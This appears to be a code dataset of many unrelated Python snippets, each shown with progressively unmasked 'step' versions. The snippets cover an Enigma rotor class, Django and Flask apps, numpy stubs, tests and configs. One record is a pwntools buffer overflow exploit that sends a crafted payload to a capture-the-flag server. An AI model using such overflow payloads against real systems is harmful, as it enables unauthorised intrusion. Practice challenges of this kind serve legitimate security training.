"step-1": "<mask token>\n",
"step-2": "<mask token>\ncreate_paths()\n<mask token>\nif os.path.exists(initial_weights_path):\n model.load_weights(initial_weights_path)\nif initial_train:\n model_checkpoint = tf.keras.callbacks.ModelChe... | [
0,
1,
2,
3,
4
] |
import main.Tools
class EnigmaRotor:
def __init__(self, entrata, uscita, rotore_succ=None, flag=True):
self.entrata=entrata.copy()
self.uscita=uscita.copy()
self.numeroSpostamenti=0
self.flag=flag
self.rotore_succ=rotore_succ
#Imposta il rotore sull'elemento specificat... | normal | {
"blob_id": "c14673b56cb31efb5d79859dd0f6f3c6806e1056",
"index": 3576,
"step-1": "<mask token>\n\n\nclass EnigmaRotor:\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def getEntrata(self):\n return self.entrata\n <mask token>\n <mask... | [
2,
8,
10,
11,
12
] |
from typing import Any, List
__all__: List[str]
record: Any
recarray: Any
format_parser: Any
fromarrays: Any
fromrecords: Any
fromstring: Any
fromfile: Any
array: Any
| normal | {
"blob_id": "2e1ad83bcd16f59338032f8ad5ca8ebd74e92200",
"index": 6664,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n__all__: List[str]\nrecord: Any\nrecarray: Any\nformat_parser: Any\nfromarrays: Any\nfromrecords: Any\nfromstring: Any\nfromfile: Any\narray: Any\n",
"step-3": "from typing import Any, ... | [
0,
1,
2
] |
from integral_image import calc_integral_image
class Region:
def __init__(self, x, y, width, height):
self.x = x
self.y = y
self.width = width
self.height = height
def calc_feature(self, cumul_sum):
yy = self.y + self.height
xx = self.x + self.width
re... | normal | {
"blob_id": "03e92eae4edb4bdbe9fa73e39e7d5f7669746fe5",
"index": 3859,
"step-1": "<mask token>\n\n\nclass Region:\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Region:\n <mask token>\n\n def calc_feature(self, cumul_sum):\n yy = self.y + self.height\n xx = self.... | [
1,
2,
3,
4
] |
SSMDocumentName ='AWS-RunPowerShellScript'
InstanceId = ['i-081a7260c79feb260']
Querytimeoutseconds = 3600
OutputS3BucketName = 'hccake'
OutputS3KeyPrefix = 'log_'
region_name ='us-east-2'
aws_access_key_id =''
aws_secret_access_key =''
workingdirectory =["c:\\"]
executiontimeout =["3600"] | normal | {
"blob_id": "e55fe845c18ff70ba12bb7c2db28ceded8ae9129",
"index": 1580,
"step-1": "<mask token>\n",
"step-2": "SSMDocumentName = 'AWS-RunPowerShellScript'\nInstanceId = ['i-081a7260c79feb260']\nQuerytimeoutseconds = 3600\nOutputS3BucketName = 'hccake'\nOutputS3KeyPrefix = 'log_'\nregion_name = 'us-east-2'\naws_... | [
0,
1,
2
] |
from .celery import app
from home.models import Banner
from settings.const import BANNER_COUNT
from home.serializers import BannerModelSerializer
from django.core.cache import cache
from django.conf import settings
@app.task
def update_banner_list():
# 获取最新内容
banner_query = Banner.objects.filter(is_delete=Fals... | normal | {
"blob_id": "8e85740123467889bdeb6b27d5eaa4b39df280ed",
"index": 438,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\n@app.task\ndef update_banner_list():\n banner_query = Banner.objects.filter(is_delete=False, is_show=True\n ).order_by('-orders')[:BANNER_COUNT]\n banner_data = BannerMode... | [
0,
1,
2,
3
] |
class Config(object):
DEBUG = False
TESTING = False
class ProductionConfig(Config):
CORS_ALLOWED_ORIGINS = "productionexample.com"
class DevelopmentConfig(Config):
DEBUG = True
CORS_ALLOWED_ORIGINS = "developmentexample.com"
class TestingConfig(Config):
TESTING = True
| normal | {
"blob_id": "b76c868a29b5edd07d0da60b1a13ddb4ac3e2913",
"index": 6988,
"step-1": "<mask token>\n\n\nclass DevelopmentConfig(Config):\n DEBUG = True\n CORS_ALLOWED_ORIGINS = 'developmentexample.com'\n\n\nclass TestingConfig(Config):\n TESTING = True\n",
"step-2": "<mask token>\n\n\nclass ProductionConf... | [
4,
5,
7,
8,
9
] |
#!/usr/bin/env python
x *= 2
"""run = 0
while(run < 10):
[TAB]x = (first number in sequence)
[TAB](your code here)
[TAB]run += 1"""
| normal | {
"blob_id": "3e84265b7c88fc45bc89868c4339fe37dcc7d738",
"index": 1112,
"step-1": "<mask token>\n",
"step-2": "x *= 2\n<mask token>\n",
"step-3": "#!/usr/bin/env python\r\n\r\nx *= 2\r\n\r\n\"\"\"run = 0\r\nwhile(run < 10):\r\n[TAB]x = (first number in sequence)\r\n[TAB](your code here)\r\n[TAB]run += 1\"\"\"... | [
0,
1,
2
] |
"""
This is a module containing convenience functions to create the JWST aperture and coronagraphic images with WebbPSF.
"""
import os
import numpy as np
import matplotlib.pyplot as plt
import astropy.units as u
import logging
import poppy
from pastis.config import CONFIG_PASTIS
import pastis.util as util
log = loggi... | normal | {
"blob_id": "e59763991974f4bfcd126879dd9aabd44bd89419",
"index": 1406,
"step-1": "<mask token>\n\n\ndef get_jwst_coords(outDir):\n log.info('Creating and saving aperture')\n jwst_pup = poppy.MultiHexagonAperture(rings=2, flattoflat=FLAT_TO_FLAT)\n jwst_pup.display(colorbar=False)\n plt.title('JWST te... | [
6,
7,
8,
9,
10
] |
from network import WLAN
import machine
import pycom
import time
import request
def wifiConnect():
wlan = WLAN(mode=WLAN.STA)
pycom.heartbeat(False)
wlan.connect(ssid="telenet-4D87F74", auth=(WLAN.WPA2, "x2UcakjTsryz"))
while not wlan.isconnected():
time.sleep(1)
print("... | normal | {
"blob_id": "099396a75060ad0388f5a852c4c3cb148febd8a3",
"index": 4048,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef wifiConnect():\n wlan = WLAN(mode=WLAN.STA)\n pycom.heartbeat(False)\n wlan.connect(ssid='telenet-4D87F74', auth=(WLAN.WPA2, 'x2UcakjTsryz'))\n while not wlan.isconnec... | [
0,
1,
2,
3
] |
from locals import *
from random import choice, randint
import pygame
from gameobjects.vector2 import Vector2
from entity.block import Block
def loadImage(filename):
return pygame.image.load(filename).convert_alpha()
class MapGrid(object):
def __init__(self, world):
self.grid = []
self.ima... | normal | {
"blob_id": "2b8f4e0c86adfbf0d4ae57f32fa244eb088f2cee",
"index": 4773,
"step-1": "\nfrom locals import *\nfrom random import choice, randint\n\nimport pygame\n\nfrom gameobjects.vector2 import Vector2\n\nfrom entity.block import Block\n\ndef loadImage(filename):\n return pygame.image.load(filename).convert_al... | [
0
] |
import pygame
# import random
# import text_scroll
from os import path
img_dir = path.join(path.dirname(__file__), 'img')
# define screen and refresh rate
WIDTH = 720
HEIGHT = 720
FPS = 30
# define colors
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)
BLACK = (0, 0, 0)
YELLOW = (255, 255, 0)
BROWN = (165, ... | normal | {
"blob_id": "88dfb422b1c9f9a9a8f497e1dbba5598c2710e9b",
"index": 5718,
"step-1": "<mask token>\n",
"step-2": "<mask token>\npygame.display.set_caption('Space Force Prime')\n<mask token>\n",
"step-3": "<mask token>\nimg_dir = path.join(path.dirname(__file__), 'img')\nWIDTH = 720\nHEIGHT = 720\nFPS = 30\nRED =... | [
0,
1,
2,
3,
4
] |
from django.db.models import manager
from django.shortcuts import render
from django.http import JsonResponse
from rest_framework.response import Response
from rest_framework.utils import serializer_helpers
from rest_framework.views import APIView
from rest_framework.pagination import PageNumberPagination
from rest_fr... | normal | {
"blob_id": "34536e3112c8791c8f8d48bb6ffd059c1af38e2f",
"index": 8978,
"step-1": "<mask token>\n\n\nclass StockPagination(PageNumberPagination):\n page_size = 20\n page_size_query_param = 'page_size'\n max_page_size = 500\n\n\nclass StockView(APIView):\n\n def get(self, request, *args, **kwargs):\n ... | [
5,
6,
7,
8,
9
] |
#
# @lc app=leetcode id=1121 lang=python3
#
# [1121] Divide Array Into Increasing Sequences
#
# https://leetcode.com/problems/divide-array-into-increasing-sequences/description/
#
# algorithms
# Hard (53.30%)
# Likes: 32
# Dislikes: 11
# Total Accepted: 1.7K
# Total Submissions: 3.2K
# Testcase Example: '[1,2,2,... | normal | {
"blob_id": "6b55a9061bb118558e9077c77e18cfc81f3fa034",
"index": 1092,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Solution:\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Solution:\n\n def canDivideIntoSubsequences(self, nums: List[int], K: int) ->bool:\n return len(nu... | [
0,
1,
2,
3,
4
] |
def resolve_data(raw_data, derivatives_prefix):
derivatives = {}
if isinstance(raw_data, dict):
for k, v in raw_data.items():
if isinstance(v, dict):
derivatives.update(resolve_data(v, derivatives_prefix + k +
'_'))
elif isinstance(v, list):
... | normal | {
"blob_id": "31b109d992a1b64816f483e870b00c703643f514",
"index": 6577,
"step-1": "<mask token>\n",
"step-2": "def resolve_data(raw_data, derivatives_prefix):\n derivatives = {}\n if isinstance(raw_data, dict):\n for k, v in raw_data.items():\n if isinstance(v, dict):\n de... | [
0,
1
] |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.2 on 2016-02-10 11:06
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('album', '0013_auto_20160210_1609'),
]
operations = [
migrations.CreateModel(... | normal | {
"blob_id": "a727502063bd0cd959fdde201832d37b29b4db70",
"index": 4304,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('album', '00... | [
0,
1,
2,
3,
4
] |
# encoding=utf-8
######
# 遗传算法应用于旅行商问题(TSP)
# Python 3.6
# https://morvanzhou.github.io/tutorials/machine-learning/evolutionary-algorithm/2-03-genetic-algorithm-travel-sales-problem/
######
| normal | {
"blob_id": "e79e4eb1640d5ad6e360dfb18430fbf261cf9d3b",
"index": 6675,
"step-1": "# encoding=utf-8\n\n######\n# 遗传算法应用于旅行商问题(TSP)\n# Python 3.6\n# https://morvanzhou.github.io/tutorials/machine-learning/evolutionary-algorithm/2-03-genetic-algorithm-travel-sales-problem/\n######\n\n",
"step-2": null,
"step-3"... | [
1
] |
# Name: BoardingPass.py
# Description: Class to create and output a boarding pass
# Ver. Writer Date Notes
# 1.0 Shuvam Chatterjee 05/22/20 Original
from random import randint
class BoardingPass:
def __init__(self, reservation):
self.reservation = reservation
s... | normal | {
"blob_id": "a3662b4b9569046e67c39c1002234c1fbd85c650",
"index": 8102,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass BoardingPass:\n <mask token>\n\n def export(self):\n fileName = 'reservations/data_reservation/boarding_passes'\n file = open(fileName, 'a')\n flights... | [
0,
2,
3,
4,
5
] |
__version__ = "2.1.2"
default_app_config = "channels.apps.ChannelsConfig"
DEFAULT_CHANNEL_LAYER = "default"
| normal | {
"blob_id": "92e414c76f4c585092a356d7d2957e91c1477c5f",
"index": 5658,
"step-1": "<mask token>\n",
"step-2": "__version__ = '2.1.2'\ndefault_app_config = 'channels.apps.ChannelsConfig'\nDEFAULT_CHANNEL_LAYER = 'default'\n",
"step-3": "__version__ = \"2.1.2\"\n\ndefault_app_config = \"channels.apps.ChannelsCo... | [
0,
1,
2
] |
from django.shortcuts import render
from django.http import HttpResponse
# from appTwo.models import User
from appTwo.forms import NewUserForm
# Create your views here.
# def index(request):
# return HttpResponse("<em>My Second Project</em>")
def welcome(request):
# welcomedict={'welcome_insert':'Go to /user... | normal | {
"blob_id": "d5f66d92371838c703abbf80e2b78717cdd4a4fb",
"index": 7140,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef welcome(request):\n return render(request, 'welcome.html')\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef welcome(request):\n return render(request, 'welcome.html'... | [
0,
1,
2,
3,
4
] |
"""
.. currentmodule:: jotting
.. automodule:: jotting.book
:members:
.. automodule:: jotting.to
:members:
.. automodule:: jotting.read
:members:
.. automodule:: jotting.style
:members:
"""
from .book import book
from . import style, to, read, dist
| normal | {
"blob_id": "ce6dba2f682b091249f3bbf362bead4b95fee1f4",
"index": 292,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfrom .book import book\nfrom . import style, to, read, dist\n",
"step-3": "\"\"\"\n.. currentmodule:: jotting\n\n.. automodule:: jotting.book\n :members:\n\n.. automodule:: jotting.to... | [
0,
1,
2
] |
# -*- coding: utf-8 -*-
from flask import abort, flash, redirect, render_template, url_for, request
from flask_login import current_user, login_required
from . import user
from .. import db
from models import User
def check_admin():
"""
Prevent non-admins from accessing the page
"""
if not current_us... | normal | {
"blob_id": "9a6f4f0eac5d9e5b4b92fcb2d66d39df15b3b281",
"index": 6303,
"step-1": "<mask token>\n\n\n@user.route('/users/add', methods=['GET', 'POST'])\ndef add_user():\n \"\"\"\n load form page and add to the database\n \"\"\"\n if request.method == 'POST':\n user = User(username=request.form[... | [
2,
4,
5,
6,
7
] |
#!/usr/bin/env python
# set up parameters that we care about
PACKAGE = 'jsk_pcl_ros'
from dynamic_reconfigure.parameter_generator_catkin import *;
from math import pi
gen = ParameterGenerator ()
gen.add("segment_connect_normal_threshold", double_t, 0,
"threshold of normal to connect clusters", 0.9, 0.0, 1.0... | normal | {
"blob_id": "7127df5515e93e27b431c57bec1709475fec8388",
"index": 5238,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ngen.add('segment_connect_normal_threshold', double_t, 0,\n 'threshold of normal to connect clusters', 0.9, 0.0, 1.0)\ngen.add('ewma_tau', double_t, 0,\n 'tau parameter of EWMA to co... | [
0,
1,
2,
3,
4
] |
from flask import escape
import pandas as pd
import json
import requests
with open('result.csv', newline='') as f:
df = pd.read_csv(f)
def get_level_diff(word, only_common=False):
if only_common:
word_df = df[(df['word']==word) & (df['common']==1)]
else:
word_df = df[df['word']==word]
... | normal | {
"blob_id": "2f489a87e40bea979000dd429cc4cb0150ff4c3b",
"index": 908,
"step-1": "<mask token>\n\n\ndef get_level_diff(word, only_common=False):\n if only_common:\n word_df = df[(df['word'] == word) & (df['common'] == 1)]\n else:\n word_df = df[df['word'] == word]\n return (word_df.values[0... | [
3,
4,
5,
6,
7
] |
#Question:
"""
The parcel section of the Head Post Office is in a mess. The parcels that need to be loaded to the vans have been lined up in a row in an arbitrary order of weights. The Head Post Master wants them to be sorted in the increasing order of the weights of the parcels, with one exception. He wants the heavi... | normal | {
"blob_id": "92dea316889192824c353002670cdcf03dfbcd4c",
"index": 1457,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(effort)\n",
"step-3": "<mask token>\nsize, k = map(int, input().split())\nparcel = list(map(int, input().split()))\neffort = 2 * parcel[k - 1] * min(parcel) + max(parcel) * min(pa... | [
0,
1,
2,
3
] |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.contrib.auth.models import User
from app.models import *
# Register your models here.
class ProfileInline(admin.StackedInline):
model = UserProfile
can_delete = False
verbose_name_plural = 'profile'
clas... | normal | {
"blob_id": "a9f3d5f11a9f2781571029b54d54b41d9f1f83b3",
"index": 592,
"step-1": "<mask token>\n\n\nclass ProfileInline(admin.StackedInline):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass UserAdmin(BaseUserAdmin):\n inlines = ProfileInline,\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n... | [
3,
4,
5,
6,
7
] |
#!/usr/bin/python3
import tkinter
from PIL import Image, ImageTk
import requests
from io import BytesIO
from threading import Timer
rootWindow = tkinter.Tk()
# the following makes the program full-screen
RWidth = rootWindow.winfo_screenwidth()
RHeight = rootWindow.winfo_screenheight()
#
rootWindow.overrideredirect(... | normal | {
"blob_id": "be63e8e6e98c9afed66cae033a7f41f1be1561a8",
"index": 8077,
"step-1": "<mask token>\n\n\ndef refreshCam03():\n try:\n tmp_photo = URL2PhotoImage(cameraURL03)\n image03_label.configure(image=tmp_photo)\n image03_label.image = tmp_photo\n except:\n pass\n if rootWind... | [
3,
10,
11,
14,
16
] |
import unittest
from unittest.mock import ANY, MagicMock, call
from streamlink import Streamlink
from streamlink.plugins.funimationnow import FunimationNow
from tests.plugins import PluginCanHandleUrl
class TestPluginCanHandleUrlFunimationNow(PluginCanHandleUrl):
__plugin__ = FunimationNow
should_match = [
... | normal | {
"blob_id": "266add60be2b6c2de5d53504cbabf754aa62d1b0",
"index": 9806,
"step-1": "<mask token>\n\n\nclass TestPluginFunimationNow(unittest.TestCase):\n\n def test_arguments(self):\n from streamlink_cli.main import setup_plugin_args\n session = Streamlink()\n parser = MagicMock()\n ... | [
2,
3,
4,
5,
6
] |
def reorderAssetsByTypes(nodePath, colorNode=True, alignNode=True):
node = hou.pwd()
def getNaskCasting():
path = "E:/WIP/Work/casting-nask.csv"
file = open(path, "r")
fileText = file.readlines()
file.close()
fileText.pop(0)
assetDic = {}
for line ... | normal | {
"blob_id": "3073850890eb7a61fb5200c5ab87c802cafe50bb",
"index": 7229,
"step-1": "<mask token>\n",
"step-2": "def reorderAssetsByTypes(nodePath, colorNode=True, alignNode=True):\n node = hou.pwd()\n\n def getNaskCasting():\n path = 'E:/WIP/Work/casting-nask.csv'\n file = open(path, 'r')\n ... | [
0,
1,
2,
3
] |
import io
import json
import sys
import time
from coord_tools import get_elevation
if len(sys.argv) != 3:
print('Wrong number of arguments! Exiting.')
infile_name = sys.argv[1]
outfile_name = sys.argv[2]
# Declare dict to hold coordinates
node_coords = {}
fail_count = 0
nodes_processed = 0
# Read in each node fro... | normal | {
"blob_id": "4744d594c0599f1aa807eefa0cb40a2a2a3c7926",
"index": 6677,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif len(sys.argv) != 3:\n print('Wrong number of arguments! Exiting.')\n<mask token>\nfor line in infile.readlines():\n fields = line.split()\n node_id = int(fields[0])\n lat =... | [
0,
1,
2,
3,
4
] |
import math
import sys
from PIL import Image
import numpy as np
import torch
from torch.utils.data import Dataset
from sklearn.gaussian_process.kernels import RBF
from sklearn.gaussian_process import GaussianProcessRegressor
sys.path.append("..")
from skssl.utils.helpers import rescale_range
__all__ = ["SineDataset... | normal | {
"blob_id": "870de8888c00bbf9290bcc847e2a4fbb823cd4b7",
"index": 6305,
"step-1": "<mask token>\n\n\nclass GPDataset(Dataset):\n <mask token>\n <mask token>\n\n def __len__(self):\n return self.n_samples\n\n def __getitem__(self, index):\n self.counter += 1\n if self.counter == se... | [
10,
11,
13,
14,
17
] |
from tornado import gen
import rethinkdb as r
from .connection import connection
from .utils import dump_cursor
@gen.coroutine
def get_promotion_keys():
conn = yield connection()
result = yield r.table('promotion_keys').run(conn)
result = yield dump_cursor(result)
return result
@gen.coroutine
def p... | normal | {
"blob_id": "66cdfdfa797c9991e5cb169c4b94a1e7041ca458",
"index": 4772,
"step-1": "<mask token>\n\n\n@gen.coroutine\ndef pop_promotion_key(promotion_key):\n conn = yield connection()\n result = yield r.table('promotion_keys').get(promotion_key).delete(\n return_changes=True).run(conn)\n if result[... | [
1,
2,
3,
4,
5
] |
from boa3.builtin import public
@public
def Main() ->int:
a = 'just a test'
return len(a)
| normal | {
"blob_id": "e44e19dbeb6e1e346ca371ca8730f53ee5b95d47",
"index": 5402,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\n@public\ndef Main() ->int:\n a = 'just a test'\n return len(a)\n",
"step-3": "from boa3.builtin import public\n\n\n@public\ndef Main() ->int:\n a = 'just a test'\n retur... | [
0,
1,
2
] |
from django import template
from apps.account.models import User, Follow, RequestFollow
from apps.post.models import Post
register = template.Library()
@register.inclusion_tag('user/user_list.html')
def user_list():
"""show user name list"""
users = User.objects.all()
return {"users": users}
# @regist... | normal | {
"blob_id": "999c19fd760ffc482a15f5a14e188d416fcc5f21",
"index": 7218,
"step-1": "<mask token>\n\n\n@register.inclusion_tag('user/user_list.html')\ndef user_list():\n \"\"\"show user name list\"\"\"\n users = User.objects.all()\n return {'users': users}\n\n\n@register.simple_tag()\ndef accept_request(pk... | [
4,
5,
6,
7,
8
] |
# import sys
# class PriorityQueue:
# """Array-based priority queue implementation."""
#
# def __init__(self):
# """Initially empty priority queue."""
# self.queue = []
# self.min_index = None
# self.heap_size = 0
#
# def __len__(self):
# # Number of elements in the q... | normal | {
"blob_id": "f0630d248cfa575ee859e5c441deeb01b68c8150",
"index": 3741,
"step-1": "class PriorityQueue:\n <mask token>\n\n def __init__(self):\n \"\"\"Initially empty priority queue.\"\"\"\n self.heap = [None]\n\n def __len__(self):\n return len(self.heap) - 1\n\n def append(self,... | [
6,
7,
8,
9,
10
] |
"""
クリップボードのamazonのURLから不要な部分を削除する
"""
# -*- coding: utf-8 -*-
import re
import pyperclip as clip
from urllib.parse import urlparse
#print(clip.paste())
def urlShortner():
# text = "https://www.amazon.co.jp/Jupyter-Cookbook-Dan-Toomey/dp/1788839447/ref=sr_1_5?s=books&ie=UTF8&qid=1535164277&sr=1-5&keywords=Jupyte... | normal | {
"blob_id": "c3c82b9ba198b7818cc8e63710140bbb6e28a9ea",
"index": 6628,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef urlShortner():\n if clip.paste():\n text = clip.paste()\n o = urlparse(text)\n if not (o.scheme == 'http' or o.scheme == 'https'):\n print('This... | [
0,
1,
2,
3,
4
] |
import random
def generate_questions(n):
for _ in range(n):
x = random.randint(11, 100)
print(x)
inp = int(input())
if inp == x ** 2:
continue
else:
print('Wrong! the right answer is: {}'.format(x ** 2))
n = int(input())
generate_questions(n)
| normal | {
"blob_id": "e98f28199075e55ddad32d9127f917c982e1e29d",
"index": 8167,
"step-1": "<mask token>\n\n\ndef generate_questions(n):\n for _ in range(n):\n x = random.randint(11, 100)\n print(x)\n inp = int(input())\n if inp == x ** 2:\n continue\n else:\n pr... | [
1,
2,
3,
4
] |
import base64
import bleach
import errno
import fcntl
import gzip
import hashlib
import importlib
import inspect
import magic
import mimetypes
import morepath
import operator
import os.path
import re
import shutil
import sqlalchemy
import urllib.request
from markupsafe import Markup
from collections.abc import Iterabl... | normal | {
"blob_id": "084c9ad83091f6f96d19c0f0c28520ccda93bbaf",
"index": 7778,
"step-1": "<mask token>\n\n\ndef normalize_for_url(text: str) ->str:\n \"\"\" Takes the given text and makes it fit to be used for an url.\n\n That means replacing spaces and other unwanted characters with '-',\n lowercasing everythi... | [
35,
38,
46,
49,
61
] |
'''
www.autonomous.ai
Phan Le Son
plson03@gmail.com
'''
import speech_recognition as sr
import pyaudio
from os import listdir
from os import path
import time
import wave
import threading
import numpy as np
import BF.BeamForming as BF
import BF.Parameter as PAR
import BF.asr_wer as wer
import BF.mic_array_read as READ
i... | normal | {
"blob_id": "8c458d66ab2f9a1bf1923eecb29c3c89f2808d0b",
"index": 3889,
"step-1": "<mask token>\n\n\nclass PlayOut(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n self.wavefiles = [f for f in listdir('./en') if path.isfile(path.\n join('./en', f))]\n\n ... | [
3,
4,
5,
6,
7
] |
#
# Standard tests on the standard set of model outputs
#
import pybamm
import numpy as np
class StandardOutputTests(object):
"""Calls all the tests on the standard output variables."""
def __init__(self, model, parameter_values, disc, solution):
# Assign attributes
self.model = model
... | normal | {
"blob_id": "e81373c7b9c43b178f0f12382501be8899189660",
"index": 6700,
"step-1": "<mask token>\n\n\nclass PotentialTests(BaseOutputTest):\n\n def __init__(self, model, param, disc, solution, operating_condition):\n super().__init__(model, param, disc, solution, operating_condition)\n self.phi_s_... | [
19,
32,
43,
44,
55
] |
count = int(input())
for i in range(1, count + 1):
something = '='
num1, num2 = map(int, input().split())
if num1 > num2:
something = '>'
elif num1 < num2:
something = '<'
print(f'#{i} {something}')
| normal | {
"blob_id": "abcefa0a3312e158517ec8a15421d1d07220da6a",
"index": 5271,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in range(1, count + 1):\n something = '='\n num1, num2 = map(int, input().split())\n if num1 > num2:\n something = '>'\n elif num1 < num2:\n something = '<... | [
0,
1,
2
] |
from os.path import exists
from_file = input('form_file')
to_file = input('to_file')
print(f"copying from {from_file} to {to_file}")
indata = open(from_file).read()#这种方式读取文件后无需close
print(f"the input file is {len(indata)} bytes long")
print(f"does the output file exist? {exists(to_file)}")
print("return to continue,... | normal | {
"blob_id": "4f0933c58aa1d41faf4f949d9684c04f9e01b473",
"index": 36,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(f'copying from {from_file} to {to_file}')\n<mask token>\nprint(f'the input file is {len(indata)} bytes long')\nprint(f'does the output file exist? {exists(to_file)}')\nprint('return t... | [
0,
1,
2,
3,
4
] |
import unittest
from battleline.model.Formation import Formation, FormationInvalidError
class TestFormation(unittest.TestCase):
def test_formation_with_less_than_three_cards_is_considered_invalid(self):
self.assertRaisesRegexp(
FormationInvalidError, "Formation must have 3 cards", Formation, ... | normal | {
"blob_id": "0ce69b7ce99b9c01892c240d5b268a9510af4503",
"index": 1648,
"step-1": "<mask token>\n\n\nclass TestFormation(unittest.TestCase):\n <mask token>\n\n def test_formation_with_more_than_three_cards_is_considered_invalid(self):\n self.assertRaisesRegexp(FormationInvalidError,\n 'For... | [
18,
21,
22,
25,
26
] |
from pwn import *
DEBUG = False
if DEBUG:
p = process("binary_100")
else:
p = remote("bamboofox.cs.nctu.edu.tw", 22001)
padding = 0x34 - 0xc
payload = padding * "A" + p32(0xabcd1234)
p.send(payload)
p.interactive()
p.close()
| normal | {
"blob_id": "fab75c5b55d85cef245fa6d7e04f4bf3a35e492c",
"index": 7068,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif DEBUG:\n p = process('binary_100')\nelse:\n p = remote('bamboofox.cs.nctu.edu.tw', 22001)\n<mask token>\np.send(payload)\np.interactive()\np.close()\n",
"step-3": "<mask token>... | [
0,
1,
2,
3,
4
] |
class Virus:
def __init__(self, _name, _age, _malignancy):
self.name = _name
self.age = _age
self.malignancy = _malignancy
def set_name(self, _name):
self.name = _name
def set_age(self, _age):
self.age = _age
def set_malignancy(self, _malignancy):
... | normal | {
"blob_id": "49c3c3b8c4b097f520456736e31ac306a9f73ac7",
"index": 3544,
"step-1": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def se... | [
5,
6,
7,
8,
9
] |
L = "chaine de caractere"
print("parcours par élément")
for e in L :
print("caractere : *"+e+"*")
| normal | {
"blob_id": "cdc9bc97332a3914415b16f00bc098acc7a02863",
"index": 5020,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint('parcours par élément')\nfor e in L:\n print('caractere : *' + e + '*')\n",
"step-3": "L = 'chaine de caractere'\nprint('parcours par élément')\nfor e in L:\n print('caracte... | [
0,
1,
2,
3
] |
import pathlib
import sys
import yaml
from google.protobuf.json_format import ParseError
sys.path = [p for p in sys.path if not p.endswith('bazel_tools')]
from tools.config_validation.validate_fragment import validate_fragment
def main():
errors = []
for arg in sys.argv[1:]:
try:
valid... | normal | {
"blob_id": "04097e63de5cd94ca8921be5cb6c2155c1e7bc20",
"index": 7534,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef main():\n errors = []\n for arg in sys.argv[1:]:\n try:\n validate_fragment('envoy.config.bootstrap.v3.Bootstrap', yaml.\n safe_load(pathlib... | [
0,
2,
3,
4,
5
] |
from django.db import models
# from rest_framework import permissions
from drawAppBackend import settings
# from django.contrib.auth.models import AbstractUser
# Create your models here.
class DrawApp(models.Model):
title = models.CharField(max_length=120)
description = models.TextField()
completed = mo... | normal | {
"blob_id": "fa566eb77b17830acad8c7bfc2b958760d982925",
"index": 7623,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass DrawApp(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass SavedDrawings(models.Model):\n username = models.ForeignKey(settings... | [
0,
3,
4,
5,
7
] |
from unittest import TestCase
from unittest.mock import patch, mock_open, call
from network_simulator.exceptions.device_exceptions import DeviceAlreadyRegisteredException, UnknownDeviceException
from network_simulator.service import NetworkSimulatorService
from network_simulator.service.network_simulator_service impor... | normal | {
"blob_id": "8e854398084e89b0b8436d6b0a2bf8f36a9c7bd5",
"index": 187,
"step-1": "<mask token>\n\n\nclass TestNetworkSimulatorService(TestCase):\n\n @patch(\n 'network_simulator.service.network_topology_handler.write_network_topology_to_file'\n )\n def setUp(self, write_network_topology_to_fil... | [
5,
6,
7,
9,
10
] |
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.contrib.auth.models import User
from django.shortcuts import render, redirect
from django.urls import reverse_lazy
from django.views... | normal | {
"blob_id": "dc9b5fbe082f7cf6cd0a9cb0d1b5a662cf3496f0",
"index": 4768,
"step-1": "<mask token>\n\n\nclass PayForList(LoginRequiredMixin, ListView):\n <mask token>\n <mask token>\n\n\n<mask token>\n\n\nclass PayForDetailView(LoginRequiredMixin, DetailView):\n template_name = 'money_easy/payfor_detail.htm... | [
22,
23,
28,
29,
31
] |
# -*- coding: utf-8 -*-
import os
import time
import pandas as pd
file_dir = os.getcwd() # 获取当前工作目录
file_list_all = os.listdir(file_dir) # 获取目录下的所有文件名
file_list_excel = [item for item in file_list_all if ('.xlsx' in item) or ('.xls' in item)] # 清洗非excel文件
new_list = [] # 空列表用于存放下面各个清洗后的表格
for file in file_list_ex... | normal | {
"blob_id": "ea646068d48a9a4b5a578a5fb1399d83a4812b02",
"index": 1134,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor file in file_list_excel:\n \"\"\"遍历所有excel文件,删除空行\"\"\"\n file_path = os.path.join(file_dir, file)\n df = pd.read_excel(file_path)\n data = pd.DataFrame(df.iloc[:, :]).dro... | [
0,
1,
2,
3,
4
] |
import logging
import numpy as np
from deprecated import deprecated
